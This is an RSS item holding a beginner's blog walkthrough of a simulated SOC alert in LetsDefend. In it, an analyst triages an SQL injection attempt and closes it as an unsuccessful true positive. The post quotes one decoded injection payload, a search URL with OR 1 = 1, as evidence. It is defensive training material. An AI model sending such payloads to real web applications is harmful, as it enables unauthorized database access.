            <link>https://medium.com/@aj.clements23/soc165-possible-sql-injection-payload-detected-walkthrough-654557ee26a1?source=rss-5eeaa99c21f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/654557ee26a1</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[soc-analyst-training]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[innervision]]></dc:creator>
            <pubDate>Wed, 19 Mar 2025 04:47:50 GMT</pubDate>
            <atom:updated>2025-03-19T04:47:50.333Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC165 — Possible SQL Injection Payload Detected Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*un7h-PXOVkCO-KRuzio3CQ.png" /></figure><p>Hello fellow Cybersecurity enthusiasts!</p><p>This will be a fairly simple walkthrough of alert SOC65 within LetsDefend’s SOC Simulator. This is also my first writeup so I’d love to hear any feedback anyone may have!</p><p>With that said, lets get stuck in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UyQVhS418pqZ3XrAMf99MQ.png" /><figcaption>Initial information</figcaption></figure><p>We can take a look at the information presented by the alert. We should be concerned with the following:</p><ul><li>Destination IP</li><li>Source IP</li><li>Hostname</li><li>Requested URL</li><li>Alert Trigger Reason</li><li>Device Action</li></ul><p>The Alert Trigger Reason states the URL contained the string 1=1. This is a common string found in SQL injection payloads. However, it wouldn’t be impossible for it to appear in a legitimate URL either, therefore more investigation is needed!</p><p>We can then click “Create Case” and assign it to ourselves.</p><p>Now we’ve assigned ourselves to the alert, we can start the investigation.</p><p>First thing is to determine who owns the Source IP and it’s reputation. We can use VirusTotal to accomplish this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OLp07qfJgpJWEjsUIX2OOg.png" /><figcaption>VirusTotal Reputation for Source IP</figcaption></figure><p>We can see a handful of security vendors have flagged this IP as malicious. This supports the alert that an attack may have taken place.</p><p>We should now investigate the destination IP and hostname on the internal network. We can use the Endpoint Security (EDR) tab to find our hostname/IP. You want to check the browser history to check for any anomalous URLs. We don’t see anything suspicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hjplvu3EK4Yxkp6jXw7_Cg.png" /><figcaption>WebServer001 Endpoint Information</figcaption></figure><p>Now we’ve checked on both ends of the communication, we need to find evidence of the URL that triggered the alert. We can jump over to log management to check this.</p><p>We can filter the logs using the Source IP and the Destination IP to see the communication between these two addresses. This results in 6 logs we can look through.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vPUaQp33e9W9Z1r5M55KLg.png" /></figure><p>There are multiple logs that show anomalous parameters, suggesting the actor was trying different SQL injection payloads.</p><p>The first log in the list shows our alert triggering URL.I’ve inclded the URL after it’s been decoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*Of9HpX57fzUjCUyLLvEqrQ.png" /></figure><pre>https://172.16.17.18/search/?q=&quot; OR 1 = 1 -- -</pre><p>Before we can decide, last thing to make sure of is that were wasn’t any planned testing scheduled for that web server . Check the email security tab, and try to filter emails based on Hostname or Destination IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QZiEnCriLPuwlOqgLpNE8Q.png" /></figure><p>We see no emails discussing a planned test so this was definitely unexpected.</p><p>We can conclude that this alert is indeed a <strong>True Positive</strong>.</p><p>The next question we must ask is whether the attack was successful or not? This would determine if we, as an L1 SOC analyst, would escalate this alert to L2 or not.</p><p>Looking through all the logs with anomalous parameters, We can see all of the requests returned with a 500 status code, Internal Server Error. We can assume their attacks were <strong>NOT SUCCESSFUL</strong>! This means escalation is not necessary and WebServer1001 doesn’t need to be contained.</p><p>All that’s left is to run through the playbook, close the alert and write our report.</p><p>Is the Traffic Malicious? <em>Yes</em>.</p><p>What is the Attack Type? <em>SQL Injection</em></p><p>Is this a planned test? <em>Not Planned</em></p><p>What is the Direction of Traffic? <em>Internet -&gt; Company Network</em></p><p>Was the Attack Successful? <em>No</em></p><p>Add the artifacts to your report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*silaY9LU9cgwntmUMsyeEQ.png" /></figure><p>Do you need Tier 2 escalation? <em>No</em></p><p>Write your report and close the alert.</p><p>I hope this walkthrough has been easy to understand!</p><p>Happy Hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=654557ee26a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>